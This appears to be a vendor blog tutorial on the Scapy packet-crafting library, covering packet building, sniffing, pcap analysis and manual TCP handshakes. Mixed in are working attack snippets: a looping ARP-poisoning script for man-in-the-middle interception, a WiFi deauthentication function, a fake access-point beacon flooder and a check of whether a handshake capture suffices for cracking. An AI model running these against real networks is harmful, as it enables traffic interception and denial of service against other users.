Scapy

Scapy for Packet Crafting

Scapy lets you build any network packet from scratch, field by field, and send it on the wire. Where tools like nmap and Wireshark work with predefined packet structures, scapy gives you complete control. You define every header, every flag, every byte.

This makes it invaluable for protocol testing, security research, custom scanning, and understanding how network protocols actually work. If you can describe a packet, scapy can build and send it.

What Is Scapy?

Scapy is a Python library and interactive tool for packet manipulation. It can:

  • Construct packets for any protocol (Ethernet, IP, TCP, UDP, ICMP, ARP, DNS, 802.11, and hundreds more)
  • Send packets at layers 2 (Ethernet) and 3 (IP)
  • Capture and decode packets from the network
  • Read and write pcap files
  • Match sent packets with their responses
  • Build custom protocols with field definitions

Scapy replaces entire toolchains. A single scapy script can do what would otherwise require nmap, hping3, arpspoof, tcpdump, and Wireshark combined. The tradeoff is speed - scapy runs in Python, so it is not suitable for high-speed scanning (millions of packets per second). For precision work, it is unmatched.

Installation and Setup

pip install scapy

On Linux, you also need tcpdump or libpcap for packet capture. Most distributions include these by default.

Scapy has an interactive mode that works like a Python REPL with packet-aware features:

sudo scapy

Root privileges are required for sending raw packets and capturing traffic. In scripts, use sudo python3 script.py.

The interactive shell is excellent for experimentation. You can build a packet, inspect it, modify it, send it, and analyze the response - all interactively.

Understanding Packet Layers

graph TD
    subgraph "Scapy Layer Stacking"
        A["Ether\nMAC src/dst, type"] --> B["IP\nsrc/dst IP, TTL, proto"]
        B --> C["TCP\nsrc/dst port, flags, seq"]
        C --> D["Raw\nPayload data"]
    end
    subgraph "Layer 2 vs Layer 3 Sending"
        E["sendp() / srp()\nLayer 2 - includes Ethernet"] --> F["Full control over\nMAC addresses"]
        G["send() / sr()\nLayer 3 - IP and above"] --> H["OS handles\nEthernet framing"]
    end
    subgraph "Scapy Syntax"
        I["Ether()"] -->|/| J["IP(dst='target')"]
        J -->|/| K["TCP(dport=80)"]
        K -->|/| L["Raw(b'data')"]
        L --> M["Complete Packet"]
    end

How scapy stacks protocol layers using the / operator to build complete packets

Scapy models packets as stacked layers, connected with the / operator. Each layer is a class with fields that correspond to protocol header fields.

from scapy.all import *

# A simple ICMP ping packet
packet = IP(dst="192.168.1.1") / ICMP()

# Inspect the packet
packet.show()

# See the raw bytes
hexdump(packet)

# Access fields
print(packet[IP].dst)     # '192.168.1.1'
print(packet[IP].ttl)     # 64 (default)
print(packet[ICMP].type)  # 8 (echo request)

Fields you do not set are filled with sensible defaults. IP checksums are computed automatically. Source addresses default to your interface's IP. You only need to specify what you want to change from the default.

Listing available layers:

ls()           # List all available protocols
ls(TCP)        # Show fields for TCP layer
ls(IP)         # Show fields for IP layer
lsc()          # List available commands

Building Packets

ICMP ping:

ping = IP(dst="192.168.1.1") / ICMP()

TCP SYN:

syn = IP(dst="192.168.1.1") / TCP(dport=80, flags='S')

UDP DNS query:

dns_query = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(
    rd=1, qd=DNSQR(qname="example.com")
)

Multiple targets or ports (scapy generates all combinations):

# SYN to ports 80, 443, 8080 on a target
packets = IP(dst="192.168.1.1") / TCP(dport=[80, 443, 8080], flags='S')

# Ping sweep across a subnet
packets = IP(dst="192.168.1.0/24") / ICMP()

Setting specific fields:

packet = IP(
    dst="192.168.1.1",
    ttl=128,
    id=12345
) / TCP(
    dport=80,
    sport=RandShort(),    # Random source port
    flags='S',
    seq=RandInt(),        # Random sequence number
    options=[('MSS', 1460), ('NOP', None), ('WScale', 7)]
)

Sending and Receiving

Scapy has four main send/receive functions:

Function Layer Send Receive
send() 3 (IP) Yes No
sendp() 2 (Ethernet) Yes No
sr() 3 (IP) Yes Yes (all responses)
sr1() 3 (IP) Yes Yes (first response)
srp() 2 (Ethernet) Yes Yes (all responses)
srp1() 2 (Ethernet) Yes Yes (first response)

Send without waiting for response:

send(IP(dst="192.168.1.1") / ICMP())                 # Layer 3
sendp(Ether() / IP(dst="192.168.1.1") / ICMP())       # Layer 2

Send and wait for one response:

response = sr1(IP(dst="192.168.1.1") / ICMP(), timeout=2, verbose=0)
if response:
    response.show()

Send and collect all responses:

answered, unanswered = sr(
    IP(dst="192.168.1.1") / TCP(dport=[80, 443, 22], flags='S'),
    timeout=2, verbose=0
)

for sent, received in answered:
    if received[TCP].flags == 'SA':  # SYN-ACK
        print(f"Port {sent[TCP].dport} is open")
    elif received[TCP].flags == 'RA':  # RST-ACK
        print(f"Port {sent[TCP].dport} is closed")

Sniffing Traffic

Scapy can capture packets with BPF (Berkeley Packet Filter) syntax:

# Sniff 10 packets
packets = sniff(count=10)
packets.summary()

# Sniff with a BPF filter
packets = sniff(filter="tcp port 80", count=20)

# Sniff on a specific interface
packets = sniff(iface="eth0", count=10)

# Sniff with a callback function
def packet_callback(pkt):
    if pkt.haslayer(TCP):
        print(f"{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

sniff(filter="tcp", prn=packet_callback, count=50)

Sniff and respond (IDS-like behavior):

def detect_syn_scan(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == 'S':
        print(f"SYN scan detected from {pkt[IP].src} to port {pkt[TCP].dport}")

sniff(filter="tcp", prn=detect_syn_scan)

The store=0 parameter prevents scapy from keeping packets in memory during long captures:

sniff(prn=packet_callback, store=0)  # Process but do not store

ARP Operations

ARP scan (discover hosts on local network):

def arp_scan(subnet):
    arp = ARP(pdst=subnet)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    answered, unanswered = srp(broadcast / arp, timeout=2, verbose=0)
    
    devices = []
    for sent, received in answered:
        devices.append({
            'ip': received.psrc,
            'mac': received.hwsrc
        })
    return devices

for device in arp_scan("192.168.1.0/24"):
    print(f"{device['ip']:16} {device['mac']}")

ARP poisoning (MITM positioning):

def arp_poison(target_ip, gateway_ip):
    # Tell target that we are the gateway
    target_mac = getmacbyip(target_ip)
    packet = ARP(
        op=2,          # ARP reply
        pdst=target_ip,
        hwdst=target_mac,
        psrc=gateway_ip
    )
    send(packet, verbose=0)

# Run continuously
import time
while True:
    arp_poison("192.168.1.50", "192.168.1.1")
    arp_poison("192.168.1.1", "192.168.1.50")  # Both directions
    time.sleep(2)

TCP Handshake

sequenceDiagram
    participant C as Client (scapy)
    participant S as Server
    
    Note over C: Build SYN packet
    C->>S: SYN (seq=1000, flags='S')
    Note over S: Port open
    S->>C: SYN-ACK (seq=5000, ack=1001, flags='SA')
    Note over C: Extract seq/ack from response
    C->>S: ACK (seq=1001, ack=5001, flags='A')
    Note over C,S: Connection established
    C->>S: PSH-ACK + HTTP GET (flags='PA')
    S->>C: HTTP Response
    C->>S: FIN-ACK (flags='FA')
    S->>C: FIN-ACK (flags='FA')
    C->>S: ACK (flags='A')

Complete TCP three-way handshake performed manually with scapy

You can perform a full TCP three-way handshake manually:

from scapy.all import *

target = "192.168.1.1"
port = 80

# Step 1: SYN
syn = IP(dst=target) / TCP(dport=port, flags='S', seq=1000)
synack = sr1(syn, timeout=5, verbose=0)

if synack and synack[TCP].flags == 'SA':
    # Step 2: ACK
    ack = IP(dst=target) / TCP(
        dport=port,
        flags='A',
        seq=synack[TCP].ack,
        ack=synack[TCP].seq + 1
    )
    send(ack, verbose=0)
    print("TCP handshake complete")
    
    # Step 3: Send data
    payload = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target)
    data_pkt = IP(dst=target) / TCP(
        dport=port,
        flags='PA',
        seq=synack[TCP].ack,
        ack=synack[TCP].seq + 1
    ) / Raw(load=payload)
    response = sr1(data_pkt, timeout=5, verbose=0)
    if response and response.haslayer(Raw):
        print(response[Raw].load.decode('utf-8', errors='replace'))

Note: The OS kernel may send RST packets that interfere with scapy's handshake because the kernel does not know about the connection scapy is building. On Linux, you can drop these with iptables:

sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

Remember to remove this rule when done.

802.11 WiFi Frames

Scapy can build and send 802.11 wireless frames, but you need a wireless adapter in monitor mode. This is where devices like the BLEShark Nano capture handshakes, and tools on your computer do the deeper analysis.

Deauthentication frame:

# Requires monitor mode interface
from scapy.all import *

def deauth(target_mac, ap_mac, iface, count=10):
    dot11 = Dot11(
        addr1=target_mac,   # Destination
        addr2=ap_mac,       # Source (AP)
        addr3=ap_mac        # BSSID
    )
    frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
    sendp(frame, iface=iface, count=count, inter=0.1, verbose=0)

Beacon frame (fake AP):

def fake_beacon(ssid, iface, mac=None):
    if mac is None:
        mac = RandMAC()
    
    dot11 = Dot11(
        type=0, subtype=8,
        addr1="ff:ff:ff:ff:ff:ff",
        addr2=mac,
        addr3=mac
    )
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
    rates = Dot11Elt(ID='Rates', info=b'\x82\x84\x0b\x16')
    dsset = Dot11Elt(ID='DSset', info=b'\x06')  # Channel 6
    
    frame = RadioTap() / dot11 / beacon / essid / rates / dsset
    sendp(frame, iface=iface, inter=0.1, loop=1, verbose=0)

Working with PCAP Files

Scapy reads and writes standard pcap files:

# Read a pcap file
packets = rdpcap("capture.pcap")
print(f"Total packets: {len(packets)}")

# Filter and analyze
for pkt in packets:
    if pkt.haslayer(TCP) and pkt[TCP].dport == 80:
        if pkt.haslayer(Raw):
            payload = pkt[Raw].load
            if b'GET' in payload or b'POST' in payload:
                print(f"HTTP request from {pkt[IP].src}")
                print(payload.decode('utf-8', errors='replace')[:200])

# Write packets to a new pcap
filtered = [p for p in packets if p.haslayer(TCP)]
wrpcap("tcp_only.pcap", filtered)

# Append to existing pcap
wrpcap("capture.pcap", new_packets, append=True)

This is particularly useful for analyzing captures from the BLEShark Nano. You can load a handshake capture, verify it contains the necessary EAPOL frames, and extract specific information - all in Python.

def check_handshake(pcap_file):
    packets = rdpcap(pcap_file)
    eapol_count = 0
    for pkt in packets:
        if pkt.haslayer('EAPOL'):
            eapol_count += 1
    print(f"EAPOL frames found: {eapol_count}")
    if eapol_count >= 4:
        print("Complete handshake captured")
    elif eapol_count >= 2:
        print("Partial handshake - may be sufficient for cracking")
    else:
        print("Insufficient handshake data")

Advanced Techniques

Traceroute:

result, unans = traceroute(["example.com"], maxttl=20, verbose=0)
result.show()

OS fingerprinting (basic TTL-based):

def guess_os(target):
    response = sr1(IP(dst=target) / ICMP(), timeout=2, verbose=0)
    if response:
        ttl = response[IP].ttl
        if ttl <= 64:
            return "Linux/macOS (TTL ~64)"
        elif ttl <= 128:
            return "Windows (TTL ~128)"
        else:
            return f"Unknown (TTL={ttl})"
    return "No response"

Custom protocol definition:

class CustomProtocol(Packet):
    name = "MyProtocol"
    fields_desc = [
        ByteField("version", 1),
        ShortField("length", 0),
        ByteEnumField("type", 0, {
            0: "request",
            1: "response",
            2: "error"
        }),
        IntField("session_id", 0),
        StrLenField("data", "", length_from=lambda pkt: pkt.length)
    ]

# Use it like any other layer
packet = IP(dst="target") / UDP(dport=9999) / CustomProtocol(
    version=1, type=0, session_id=12345, data=b"hello"
)

Protocol fuzzing:

from scapy.all import fuzz

# Fuzz TCP fields with random values
fuzzed_packet = IP(dst="192.168.1.1") / fuzz(TCP(dport=80))
send(fuzzed_packet, verbose=0)

# Fuzz multiple packets
for i in range(100):
    pkt = IP(dst="192.168.1.1") / fuzz(TCP(dport=80))
    send(pkt, verbose=0)

The fuzz() function randomizes all fields that are not explicitly set. This is useful for finding edge cases in protocol implementations - unexpected flag combinations, unusual header lengths, or invalid field values that might crash poorly written services.

This article is for educational and authorized security testing purposes only. Only craft and send packets on networks you own or have explicit written permission to test.

Get the BLEShark Nano - $36.99+
Back to blog

Leave a comment